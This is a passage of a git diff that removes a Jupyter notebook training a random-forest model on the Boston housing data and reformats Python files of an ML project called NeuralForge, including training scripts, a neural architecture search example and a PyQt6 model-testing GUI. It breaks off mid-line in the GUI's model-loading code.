- " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
CRIMZNINDUSCHASNOXRMAGEDISRADTAXPTRATIOBLSTAT
count404.000000404.000000404.000000404.000000404.000000404.000000404.000000404.000000404.000000404.000000404.000000404.000000404.000000
mean3.60281410.83663411.3449500.0693070.5580646.27990869.0398513.7462109.735149412.34158418.473267353.39282212.791609
std8.09938322.1506366.8778170.2542900.1168750.71298328.2582482.0990578.731259168.6726232.12924396.0692357.235740
min0.0063200.0000000.7400000.0000000.3890003.5610002.9000001.1296001.000000187.00000013.0000000.3200001.730000
25%0.0869630.0000005.1900000.0000000.4530005.87875044.8500002.0359754.000000284.00000017.400000374.6175006.847500
50%0.2867350.0000009.9000000.0000000.5380006.21000078.2000003.1222005.000000337.00000019.000000390.95500011.570000
75%3.73192312.50000018.1000000.0000000.6310006.63025094.1000005.10040024.000000666.00000020.200000395.63000017.102500
max73.534100100.00000027.7400001.0000000.8710008.780000100.00000012.12650024.000000711.00000022.000000396.90000036.980000
\n", - "
" - ], - "text/plain": [ - " CRIM ZN INDUS CHAS NOX RM \\\n", - "count 404.000000 404.000000 404.000000 404.000000 404.000000 404.000000 \n", - "mean 3.602814 10.836634 11.344950 0.069307 0.558064 6.279908 \n", - "std 8.099383 22.150636 6.877817 0.254290 0.116875 0.712983 \n", - "min 0.006320 0.000000 0.740000 0.000000 0.389000 3.561000 \n", - "25% 0.086963 0.000000 5.190000 0.000000 0.453000 5.878750 \n", - "50% 0.286735 0.000000 9.900000 0.000000 0.538000 6.210000 \n", - "75% 3.731923 12.500000 18.100000 0.000000 0.631000 6.630250 \n", - "max 73.534100 100.000000 27.740000 1.000000 0.871000 8.780000 \n", - "\n", - " AGE DIS RAD TAX PTRATIO B \\\n", - "count 404.000000 404.000000 404.000000 404.000000 404.000000 404.000000 \n", - "mean 69.039851 3.746210 9.735149 412.341584 18.473267 353.392822 \n", - "std 28.258248 2.099057 8.731259 168.672623 2.129243 96.069235 \n", - "min 2.900000 1.129600 1.000000 187.000000 13.000000 0.320000 \n", - "25% 44.850000 2.035975 4.000000 284.000000 17.400000 374.617500 \n", - "50% 78.200000 3.122200 5.000000 337.000000 19.000000 390.955000 \n", - "75% 94.100000 5.100400 24.000000 666.000000 20.200000 395.630000 \n", - "max 100.000000 12.126500 24.000000 711.000000 22.000000 396.900000 \n", - "\n", - " LSTAT \n", - "count 404.000000 \n", - "mean 12.791609 \n", - "std 7.235740 \n", - "min 1.730000 \n", - "25% 6.847500 \n", - "50% 11.570000 \n", - "75% 17.102500 \n", - "max 36.980000 " - ] - }, - "execution_count": 26, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "X = imputer.transform(housing)\n", - "housing_tr = pd.DataFrame(X, columns=housing.columns)\n", - "housing_tr.describe()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Scikit-learn Design " - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Basically, there are 3 types of objects:\n", - "1. Estimators - it estimates some parameter based on a dataset. Eg. imputer. It has a fit method and transform method.Fit method -Fits the dataset and calculates internal parameters\n", - "\n", - "2. Transformers - transform method takes input and returns output based on the learning from fit(). It also has a convenience function called fit_transform() which fits and then transforms.\n", - "\n", - "3. Predictors - LinearRegression model is an example of predictor. fit() and predict() are two common functions. It also gives score() function which will evaluate the predictions." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Feature Scaling" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "Primarily, two types of features scaling methods:\n", - "1. Min-max scaling (Normalization)\n", - " 0 < (value-min)/(max-min) >1\n", - " Sklearn provides a class called MinMaxScaler for this\n", - " \n", - "2. Standardization\n", - " (value-mean)/std\n", - " Sklearn provides a class called StandardScaler for this" - ] - }, - { - "cell_type": "code", - "execution_count": 27, - "metadata": {}, - "outputs": [], - "source": [ - "from sklearn.pipeline import Pipeline\n", - "from sklearn.preprocessing import StandardScaler\n", - "\n", - "my_pipeline = Pipeline(\n", - " [(\"imputer\", SimpleImputer(strategy=\"median\")), (\"std_scaler\", StandardScaler())]\n", - ")" - ] - }, - { - "cell_type": "code", - "execution_count": 28, - "metadata": {}, - "outputs": [], - "source": [ - "housing_num_tr = my_pipeline.fit_transform(housing)" - ] - }, - { - "cell_type": "code", - "execution_count": 29, - "metadata": { - "scrolled": true - }, - "outputs": [ - { - "data": { - "text/plain": [ - "(404, 13)" - ] - }, - "execution_count": 29, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "housing_num_tr.shape" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Selecting a desired model" - ] - }, - { - "cell_type": "code", - "execution_count": 30, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "RandomForestRegressor()" - ] - }, - "execution_count": 30, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "from sklearn.ensemble import RandomForestRegressor\n", - "\n", - "# model = LinearRegression()\n", - "# model = DecisionTreeRegressor()\n", - "model = RandomForestRegressor()\n", - "model.fit(housing_num_tr, housing_labels)" - ] - }, - { - "cell_type": "code", - "execution_count": 31, - "metadata": {}, - "outputs": [], - "source": [ - "some_data = housing.iloc[:5]\n", - "some_labels = housing_labels.iloc[:5]" - ] - }, - { - "cell_type": "code", - "execution_count": 32, - "metadata": {}, - "outputs": [], - "source": [ - "prepared_data = my_pipeline.transform(some_data)" - ] - }, - { - "cell_type": "code", - "execution_count": 33, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([22.508, 25.587, 16.363, 23.376, 23.391])" - ] - }, - "execution_count": 33, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "model.predict(prepared_data)" - ] - }, - { - "cell_type": "code", - "execution_count": 34, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "[21.9, 24.5, 16.7, 23.1, 23.0]" - ] - }, - "execution_count": 34, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "list(some_labels)" - ] - }, - { - "cell_type": "code", - "execution_count": 35, - "metadata": {}, - "outputs": [], - "source": [ - "from sklearn.metrics import mean_squared_error\n", - "\n", - "housing_predictions = model.predict(housing_num_tr)\n", - "lin_mse = mean_squared_error(housing_labels, housing_predictions)\n", - "lin_rmse = np.sqrt(lin_mse)" - ] - }, - { - "cell_type": "code", - "execution_count": 36, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "1.3529252128712854" - ] - }, - "execution_count": 36, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "lin_mse" - ] - }, - { - "cell_type": "code", - "execution_count": 37, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "1.1631531338870584" - ] - }, - "execution_count": 37, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "lin_rmse" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Cross Validation" - ] - }, - { - "cell_type": "code", - "execution_count": 38, - "metadata": {}, - "outputs": [], - "source": [ - "from sklearn.model_selection import cross_val_score\n", - "\n", - "scores = cross_val_score(\n", - " model, housing_num_tr, housing_labels, scoring=\"neg_mean_squared_error\", cv=10\n", - ")\n", - "rmse_scores = np.sqrt(-scores)" - ] - }, - { - "cell_type": "code", - "execution_count": 39, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([2.79289168, 2.69441597, 4.40018895, 2.56972379, 3.33073436,\n", - " 2.62687167, 4.77007351, 3.27403209, 3.38378214, 3.16691711])" - ] - }, - "execution_count": 39, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "rmse_scores" - ] - }, - { - "cell_type": "code", - "execution_count": 40, - "metadata": {}, - "outputs": [], - "source": [ - "def print_scores(scores):\n", - " print(\"scores: \", scores)\n", - " print(\"Mean: \", scores.mean())\n", - " print(\"Standard deviation: \", scores.std())" - ] - }, - { - "cell_type": "code", - "execution_count": 41, - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "scores: [2.79289168 2.69441597 4.40018895 2.56972379 3.33073436 2.62687167\n", - " 4.77007351 3.27403209 3.38378214 3.16691711]\n", - "Mean: 3.3009631251857217\n", - "Standard deviation: 0.7076841067486248\n" - ] - } - ], - "source": [ - "print_scores(rmse_scores)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Saving Model " - ] - }, - { - "cell_type": "code", - "execution_count": 42, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "['HousingPricePredicter.joblib']" - ] - }, - "execution_count": 42, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "from joblib import dump\n", - "\n", - "dump(model, \"HousingPricePredicter.joblib\")" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Testing the model on test data " - ] - }, - { - "cell_type": "code", - "execution_count": 43, - "metadata": {}, - "outputs": [], - "source": [ - "X_test = strat_test_set.drop(\"MEDV\", axis=1)\n", - "Y_test = strat_test_set[\"MEDV\"].copy()\n", - "X_test_prepared = my_pipeline.transform(X_test)\n", - "final_predictions = model.predict(X_test_prepared)\n", - "final_mse = mean_squared_error(Y_test, final_predictions)\n", - "final_rmse = np.sqrt(final_mse)" - ] - }, - { - "cell_type": "code", - "execution_count": 44, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "2.948844070638726" - ] - }, - "execution_count": 44, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "final_rmse" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.2" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} diff --git a/ML/examples/neural_architecture_search.py b/ML/examples/neural_architecture_search.py index a0896d444bb..25d0a1a61d8 100644 --- a/ML/examples/neural_architecture_search.py +++ b/ML/examples/neural_architecture_search.py @@ -1,5 +1,6 @@ import sys -sys.path.insert(0, '.') + +sys.path.insert(0, ".") import torch from src.python.neuralforge.nas.search_space import SearchSpace @@ -8,53 +9,56 @@ from src.python.neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder from src.python.neuralforge.config import Config + def main(): config = Config() config.nas_enabled = True config.nas_population_size = 15 config.nas_generations = 20 config.nas_mutation_rate = 0.15 - - search_config = { - 'num_layers': 15, - 'num_blocks': 4 - } - + + search_config = {"num_layers": 15, "num_blocks": 4} + search_space = SearchSpace(search_config) - + train_dataset = SyntheticDataset(num_samples=1000, num_classes=10) val_dataset = SyntheticDataset(num_samples=200, num_classes=10) - + loader_builder = DataLoaderBuilder(config) train_loader = loader_builder.build_train_loader(train_dataset) val_loader = loader_builder.build_val_loader(val_dataset) - + evaluator = ProxyEvaluator(device=config.device) - + evolution = EvolutionarySearch( search_space=search_space, evaluator=evaluator, population_size=config.nas_population_size, generations=config.nas_generations, - mutation_rate=config.nas_mutation_rate + mutation_rate=config.nas_mutation_rate, ) - + print("Starting Neural Architecture Search...") best_architecture = evolution.search() - + print(f"\nBest Architecture Found:") print(f"Fitness: {best_architecture.fitness:.4f}") print(f"Accuracy: {best_architecture.accuracy:.2f}%") print(f"Parameters: {best_architecture.params:,}") print(f"FLOPs: {best_architecture.flops:,}") - + print("\nTop 5 Architectures:") top_k = evolution.get_top_k_architectures(k=5) for i, arch in enumerate(top_k, 1): - print(f"{i}. Fitness: {arch.fitness:.4f}, Acc: {arch.accuracy:.2f}%, Params: {arch.params:,}") - + print( + f"{i}. Fitness: {arch.fitness:.4f}, Acc: {arch.accuracy:.2f}%, Params: {arch.params:,}" + ) + model = search_space.build_model(best_architecture, num_classes=10) - print(f"\nModel created with {sum(p.numel() for p in model.parameters()):,} parameters") + print( + f"\nModel created with {sum(p.numel() for p in model.parameters()):,} parameters" + ) + -if __name__ == '__main__': +if __name__ == "__main__": main() diff --git a/ML/examples/train_cifar10.py b/ML/examples/train_cifar10.py index bec333c894a..e1daa2530e8 100644 --- a/ML/examples/train_cifar10.py +++ b/ML/examples/train_cifar10.py @@ -1,7 +1,7 @@ import sys import os -sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) import torch import torch.nn as nn @@ -12,9 +12,10 @@ from src.python.neuralforge.optim.optimizers import AdamW from src.python.neuralforge.optim.schedulers import CosineAnnealingWarmRestarts + def main(): print("Training ResNet18 on CIFAR-10") - + config = Config() config.batch_size = 128 config.epochs = 100 @@ -22,26 +23,26 @@ def main(): config.num_classes = 10 config.image_size = 32 config.model_name = "resnet18_cifar10" - config.device = 'cuda' if torch.cuda.is_available() else 'cpu' - + config.device = "cuda" if torch.cuda.is_available() else "cpu" + print(f"Downloading CIFAR-10 dataset...") - train_dataset = get_dataset('cifar10', root='./data', train=True, download=True) - val_dataset = get_dataset('cifar10', root='./data', train=False, download=True) - + train_dataset = get_dataset("cifar10", root="./data", train=True, download=True) + val_dataset = get_dataset("cifar10", root="./data", train=False, download=True) + print(f"Train: {len(train_dataset)} samples") print(f"Val: {len(val_dataset)} samples") - + loader_builder = DataLoaderBuilder(config) train_loader = loader_builder.build_train_loader(train_dataset) val_loader = loader_builder.build_val_loader(val_dataset) - + model = ResNet18(num_classes=10, in_channels=3) print(f"Model: {sum(p.numel() for p in model.parameters()):,} parameters") - + criterion = nn.CrossEntropyLoss() optimizer = AdamW(model.parameters(), lr=config.learning_rate, weight_decay=0.01) scheduler = CosineAnnealingWarmRestarts(optimizer, T_0=10, T_mult=2) - + trainer = Trainer( model=model, train_loader=train_loader, @@ -49,17 +50,18 @@ def main(): optimizer=optimizer, criterion=criterion, config=config, - scheduler=scheduler + scheduler=scheduler, ) - + print("Starting training...") trainer.train() - + print(f"\nTraining completed!") print(f"Best validation loss: {trainer.best_val_loss:.4f}") print(f"Model saved to: ./models/best_model.pt") print(f"\nTest the model:") print(f" python tests/test_model.py --dataset cifar10 --mode interactive") -if __name__ == '__main__': + +if __name__ == "__main__": main() diff --git a/ML/examples/train_custom.py b/ML/examples/train_custom.py index 4aab87e1170..a3beb7d59b6 100644 --- a/ML/examples/train_custom.py +++ b/ML/examples/train_custom.py @@ -1,5 +1,6 @@ import sys -sys.path.insert(0, '.') + +sys.path.insert(0, ".") import torch import torch.nn as nn @@ -9,6 +10,7 @@ from src.python.neuralforge.optim.optimizers import AdamW from src.python.neuralforge.optim.schedulers import CosineAnnealingWarmRestarts + def main(): config = Config() config.batch_size = 64 @@ -16,19 +18,19 @@ def main(): config.learning_rate = 0.001 config.num_classes = 100 config.model_name = "resnet18_custom" - + train_dataset = SyntheticDataset(num_samples=10000, num_classes=100) val_dataset = SyntheticDataset(num_samples=2000, num_classes=100) - + loader_builder = DataLoaderBuilder(config) train_loader = loader_builder.build_train_loader(train_dataset) val_loader = loader_builder.build_val_loader(val_dataset) - + model = ResNet18(num_classes=100) criterion = nn.CrossEntropyLoss() optimizer = AdamW(model.parameters(), lr=config.learning_rate, weight_decay=0.01) scheduler = CosineAnnealingWarmRestarts(optimizer, T_0=10, T_mult=2) - + trainer = Trainer( model=model, train_loader=train_loader, @@ -36,12 +38,13 @@ def main(): optimizer=optimizer, criterion=criterion, config=config, - scheduler=scheduler + scheduler=scheduler, ) - + trainer.train() - + print(f"Best validation loss: {trainer.best_val_loss:.4f}") -if __name__ == '__main__': + +if __name__ == "__main__": main() diff --git a/ML/src/python/neuralforge/__init__.py b/ML/src/python/neuralforge/__init__.py index f1a2c8f33b1..1a503f0893a 100644 --- a/ML/src/python/neuralforge/__init__.py +++ b/ML/src/python/neuralforge/__init__.py @@ -7,4 +7,4 @@ from .config import Config __version__ = "1.0.0" -__all__ = ['nn', 'optim', 'data', 'utils', 'nas', 'Trainer', 'Config'] \ No newline at end of file +__all__ = ["nn", "optim", "data", "utils", "nas", "Trainer", "Config"] diff --git a/ML/src/python/neuralforge/cli/__init__.py b/ML/src/python/neuralforge/cli/__init__.py index 97019316414..87328a90efd 100644 --- a/ML/src/python/neuralforge/cli/__init__.py +++ b/ML/src/python/neuralforge/cli/__init__.py @@ -3,4 +3,4 @@ from . import gui from . import nas -__all__ = ['train', 'test', 'gui', 'nas'] +__all__ = ["train", "test", "gui", "nas"] diff --git a/ML/src/python/neuralforge/cli/gui.py b/ML/src/python/neuralforge/cli/gui.py index 6ce7d045597..8cbc482a6c7 100644 --- a/ML/src/python/neuralforge/cli/gui.py +++ b/ML/src/python/neuralforge/cli/gui.py @@ -1,6 +1,7 @@ import sys import os + def main(): try: from PyQt6.QtWidgets import QApplication @@ -9,230 +10,256 @@ def main(): print("Install with: pip install neuralforge[gui]") print("Or: pip install PyQt6") sys.exit(1) - + current_dir = os.path.dirname(os.path.abspath(__file__)) - root_dir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(current_dir)))) - + root_dir = os.path.dirname( + os.path.dirname(os.path.dirname(os.path.dirname(current_dir))) + ) + sys.path.insert(0, root_dir) - - from PyQt6.QtWidgets import (QMainWindow, QWidget, QVBoxLayout, QHBoxLayout, - QPushButton, QLabel, QLineEdit, QFileDialog, - QProgressBar, QTextEdit, QGroupBox) + + from PyQt6.QtWidgets import ( + QMainWindow, + QWidget, + QVBoxLayout, + QHBoxLayout, + QPushButton, + QLabel, + QLineEdit, + QFileDialog, + QProgressBar, + QTextEdit, + QGroupBox, + ) from PyQt6.QtCore import Qt, QThread, pyqtSignal from PyQt6.QtGui import QPixmap, QFont - + import torch import torch.nn.functional as F from torchvision import transforms from PIL import Image - + from neuralforge.data.datasets import get_dataset, get_num_classes from neuralforge.models.resnet import ResNet18 - + class PredictionThread(QThread): finished = pyqtSignal(list, list, str) error = pyqtSignal(str) - + def __init__(self, model, image_path, classes, device): super().__init__() self.model = model self.image_path = image_path self.classes = classes self.device = device - + def run(self): try: - image = Image.open(self.image_path).convert('RGB') - - transform = transforms.Compose([ - transforms.Resize(256), - transforms.CenterCrop(224), - transforms.ToTensor(), - transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) - ]) - + image = Image.open(self.image_path).convert("RGB") + + transform = transforms.Compose( + [ + transforms.Resize(256), + transforms.CenterCrop(224), + transforms.ToTensor(), + transforms.Normalize( + mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225] + ), + ] + ) + image_tensor = transform(image).unsqueeze(0).to(self.device) - + with torch.no_grad(): outputs = self.model(image_tensor) probabilities = F.softmax(outputs, dim=1) - - top5_prob, top5_idx = torch.topk(probabilities, min(5, len(self.classes)), dim=1) - + + top5_prob, top5_idx = torch.topk( + probabilities, min(5, len(self.classes)), dim=1 + ) + predictions = [] confidences = [] - - for idx, prob in zip(top5_idx[0].cpu().numpy(), top5_prob[0].cpu().numpy()): + + for idx, prob in zip( + top5_idx[0].cpu().numpy(), top5_prob[0].cpu().numpy() + ): predictions.append(self.classes[idx]) confidences.append(float(prob) * 100) - + main_prediction = predictions[0] - + self.finished.emit(predictions, confidences, main_prediction) - + except Exception as e: self.error.emit(str(e)) - + class NeuralForgeGUI(QMainWindow): def __init__(self): super().__init__() self.model = None - self.device = 'cuda' if torch.cuda.is_available() else 'cpu' + self.device = "cuda" if torch.cuda.is_available() else "cpu" self.classes = [] - self.dataset_name = 'cifar10' - + self.dataset_name = "cifar10" + self.init_ui() self.apply_stylesheet() - + def init_ui(self): - self.setWindowTitle('NeuralForge - Model Tester') + self.setWindowTitle("NeuralForge - Model Tester") self.setGeometry(100, 100, 1200, 800) - + central_widget = QWidget() self.setCentralWidget(central_widget) - + main_layout = QHBoxLayout() central_widget.setLayout(main_layout) - + left_panel = self.create_left_panel() right_panel = self.create_right_panel() - + main_layout.addWidget(left_panel, 1) main_layout.addWidget(right_panel, 1) - + def create_left_panel(self): panel = QWidget() layout = QVBoxLayout() panel.setLayout(layout) - - title = QLabel('🚀 NeuralForge Model Tester') - title.setFont(QFont('Arial', 20, QFont.Weight.Bold)) + + title = QLabel("🚀 NeuralForge Model Tester") + title.setFont(QFont("Arial", 20, QFont.Weight.Bold)) title.setAlignment(Qt.AlignmentFlag.AlignCenter) layout.addWidget(title) - - model_group = QGroupBox('Model Selection') + + model_group = QGroupBox("Model Selection") model_layout = QVBoxLayout() - + model_path_layout = QHBoxLayout() self.model_path_input = QLineEdit() - self.model_path_input.setPlaceholderText('Path to model file (.pt)') + self.model_path_input.setPlaceholderText("Path to model file (.pt)") model_path_layout.addWidget(self.model_path_input) - - browse_btn = QPushButton('Browse') + + browse_btn = QPushButton("Browse") browse_btn.clicked.connect(self.browse_model) model_path_layout.addWidget(browse_btn) - - default_btn = QPushButton('Use Default') + + default_btn = QPushButton("Use Default") default_btn.clicked.connect(self.use_default_model) model_path_layout.addWidget(default_btn) - + model_layout.addLayout(model_path_layout) - + dataset_layout = QHBoxLayout() - dataset_label = QLabel('Dataset:') - self.dataset_input = QLineEdit('cifar10') - self.dataset_input.setPlaceholderText('cifar10, mnist, stl10, tiny_imagenet, etc.') - self.dataset_input.setToolTip('Supported: cifar10, cifar100, mnist, fashion_mnist, stl10,\ntiny_imagenet, imagenet, food101, caltech256, oxford_pets') + dataset_label = QLabel("Dataset:") + self.dataset_input = QLineEdit("cifar10") + self.dataset_input.setPlaceholderText( + "cifar10, mnist, stl10, tiny_imagenet, etc." + ) + self.dataset_input.setToolTip( + "Supported: cifar10, cifar100, mnist, fashion_mnist, stl10,\ntiny_imagenet, imagenet, food101, caltech256, oxford_pets" + ) dataset_layout.addWidget(dataset_label) dataset_layout.addWidget(self.dataset_input) model_layout.addLayout(dataset_layout) - - self.load_model_btn = QPushButton('Load Model') + + self.load_model_btn = QPushButton("Load Model") self.load_model_btn.clicked.connect(self.load_model) model_layout.addWidget(self.load_model_btn) - - self.model_status = QLabel('No model loaded') + + self.model_status = QLabel("No model loaded") self.model_status.setAlignment(Qt.AlignmentFlag.AlignCenter) model_layout.addWidget(self.model_status) - + model_group.setLayout(model_layout) layout.addWidget(model_group) - - image_group = QGroupBox('Image Selection') + + image_group = QGroupBox("Image Selection") image_layout = QVBoxLayout() - + image_path_layout = QHBoxLayout() self.image_path_input = QLineEdit() - self.image_path_input.setPlaceholderText('Path to image file') + self.image_path_input.setPlaceholderText("Path to image file") image_path_layout.addWidget(self.image_path_input) - - browse_image_btn = QPushButton('Browse') + + browse_image_btn = QPushButton("Browse") browse_image_btn.clicked.connect(self.browse_image) image_path_layout.addWidget(browse_image_btn) - + image_layout.addLayout(image_path_layout) - + self.image_preview = QLabel() self.image_preview.setAlignment(Qt.AlignmentFlag.AlignCenter) self.image_preview.setMinimumHeight(300) - self.image_preview.setStyleSheet('border: 2px dashed #666; border-radius: 10px;') - self.image_preview.setText('No image selected') + self.image_preview.setStyleSheet( + "border: 2px dashed #666; border-radius: 10px;" + ) + self.image_preview.setText("No image selected") image_layout.addWidget(self.image_preview) - - self.predict_btn = QPushButton('🔍 Predict') + + self.predict_btn = QPushButton("🔍 Predict") self.predict_btn.clicked.connect(self.predict_image) self.predict_btn.setEnabled(False) image_layout.addWidget(self.predict_btn) - + image_group.setLayout(image_layout) layout.addWidget(image_group) - + layout.addStretch() - + return panel - + def create_right_panel(self): panel = QWidget() layout = QVBoxLayout() panel.setLayout(layout) - - results_group = QGroupBox('Prediction Results') + + results_group = QGroupBox("Prediction Results") results_layout = QVBoxLayout() - - self.main_prediction = QLabel('No prediction yet') - self.main_prediction.setFont(QFont('Arial', 24, QFont.Weight.Bold)) + + self.main_prediction = QLabel("No prediction yet") + self.main_prediction.setFont(QFont("Arial", 24, QFont.Weight.Bold)) self.main_prediction.setAlignment(Qt.AlignmentFlag.AlignCenter) - self.main_prediction.setStyleSheet('color: #4CAF50; padding: 20px;') + self.main_prediction.setStyleSheet("color: #4CAF50; padding: 20px;") results_layout.addWidget(self.main_prediction) - - self.confidence_label = QLabel('') - self.confidence_label.setFont(QFont('Arial', 16)) + + self.confidence_label = QLabel("") + self.confidence_label.setFont(QFont("Arial", 16)) self.confidence_label.setAlignment(Qt.AlignmentFlag.AlignCenter) results_layout.addWidget(self.confidence_label) - + self.progress_bar = QProgressBar() self.progress_bar.setVisible(False) results_layout.addWidget(self.progress_bar) - + results_group.setLayout(results_layout) layout.addWidget(results_group) - - top5_group = QGroupBox('Top-5 Predictions') + + top5_group = QGroupBox("Top-5 Predictions") top5_layout = QVBoxLayout() - + self.top5_display = QTextEdit() self.top5_display.setReadOnly(True) self.top5_display.setMinimumHeight(200) top5_layout.addWidget(self.top5_display) - + top5_group.setLayout(top5_layout) layout.addWidget(top5_group) - - info_group = QGroupBox('Model Information') + + info_group = QGroupBox("Model Information") info_layout = QVBoxLayout() - + self.model_info = QTextEdit() self.model_info.setReadOnly(True) self.model_info.setMaximumHeight(150) info_layout.addWidget(self.model_info) - + info_group.setLayout(info_layout) layout.addWidget(info_group) - + layout.addStretch() - + return panel - + def apply_stylesheet(self): qss = """ QMainWindow { @@ -321,103 +348,132 @@ def apply_stylesheet(self): } """ self.setStyleSheet(qss) - + def browse_model(self): file_path, _ = QFileDialog.getOpenFileName( - self, - 'Select Model File', - './models', - 'Model Files (*.pt *.pth);;All Files (*.*)' + self, + "Select Model File", + "./models", + "Model Files (*.pt *.pth);;All Files (*.*)", ) if file_path: self.model_path_input.setText(file_path) - + def use_default_model(self): - default_path = './models/final_model.pt' + default_path = "./models/final_model.pt" if not os.path.exists(default_path): - default_path = './models/best_model.pt' + default_path = "./models/best_model.pt" self.model_path_input.setText(os.path.abspath(default_path)) - + def browse_image(self): file_path, _ = QFileDialog.getOpenFileName( self, - 'Select Image File', - '', - 'Image Files (*.png *.jpg *.jpeg *.bmp *.gif);;All Files (*.*)' + "Select Image File", + "", + "Image Files (*.png *.jpg *.jpeg *.bmp *.gif);;All Files (*.*)", ) if file_path: self.image_path_input.setText(file_path) self.display_image(file_path) - + def display_image(self, image_path): try: pixmap = QPixmap(image_path) - scaled_pixmap = pixmap.scaled(400, 300, Qt.AspectRatioMode.KeepAspectRatio, - Qt.TransformationMode.SmoothTransformation) + scaled_pixmap = pixmap.scaled( + 400, + 300, + Qt.AspectRatioMode.KeepAspectRatio, + Qt.TransformationMode.SmoothTransformation, + ) self.image_preview.setPixmap(scaled_pixmap) except Exception as e: - self.image_preview.setText(f'Error loading image: {e}') - + self.image_preview.setText(f"Error loading image: {e}") + def load_model(self): model_path = self.model_path_input.text() dataset_input = self.dataset_input.text().lower().strip() - + dataset_aliases = { - 'cifar10': 'cifar10', 'cifar-10': 'cifar10', 'cifar_10': 'cifar10', - 'cifar100': 'cifar100', 'cifar-100': 'cifar100', 'cifar_100': 'cifar100', - 'mnist': 'mnist', - 'fashionmnist': 'fashion_mnist', 'fashion-mnist': 'fashion_mnist', 'fashion_mnist': 'fashion_mnist', - 'stl10': 'stl10', 'stl-10': 'stl10', 'stl_10': 'stl10', - 'tinyimagenet': 'tiny_imagenet', 'tiny-imagenet': 'tiny_imagenet', 'tiny_imagenet': 'tiny_imagenet', - 'imagenet': 'imagenet', - 'food101': 'food101', 'food-101': 'food101', 'food_101': 'food101', - 'caltech256': 'caltech256', 'caltech-256': 'caltech256', 'caltech_256': 'caltech256', - 'oxfordpets': 'oxford_pets', 'oxford-pets': 'oxford_pets', 'oxford_pets': 'oxford_pets', + "cifar10": "cifar10", + "cifar-10": "cifar10", + "cifar_10": "cifar10", + "cifar100": "cifar100", + "cifar-100": "cifar100", + "cifar_100": "cifar100", + "mnist": "mnist", + "fashionmnist": "fashion_mnist", + "fashion-mnist": "fashion_mnist", + "fashion_mnist": "fashion_mnist", + "stl10": "stl10", + "stl-10": "stl10", + "stl_10": "stl10", + "tinyimagenet": "tiny_imagenet", + "tiny-imagenet": "tiny_imagenet", + "tiny_imagenet": "tiny_imagenet", + "imagenet": "imagenet", + "food101": "food101", + "food-101": "food101", + "food_101": "food101", + "caltech256": "caltech256", + "caltech-256": "caltech256", + "caltech_256": "caltech256", + "oxfordpets": "oxford_pets", + "oxford-pets": "oxford_pets", + "oxford_pets": "oxford_pets", } - + self.dataset_name = dataset_aliases.get(dataset_input, dataset_input) - + if not model_path: - self.model_status.setText('Please select a model file') - self.model_status.setStyleSheet('color: #f44336;') + self.model_status.setText("Please select a model file") + self.model_status.setStyleSheet("color: #f44336;") return - + if not os.path.exists(model_path): - self.model_status.setText('Model file not found') - self.model_status.setStyleSheet('color: #f44336;') + self.model_status.setText("Model file not found") + self.model_status.setStyleSheet("color: #f44336;") return - + try: - self.model_status.setText('Loading model...') - self.model_status.setStyleSheet('color: #FFC107;') + self.model_status.setText("Loading model...") + self.model_status.setStyleSheet("color: #FFC107;") QApplication.processEvents() - + num_classes = get_num_classes(self.dataset_name) self.model = ResNet18(num_classes=num_classes) self.model = self.model.to(self.device) - - checkpoint = 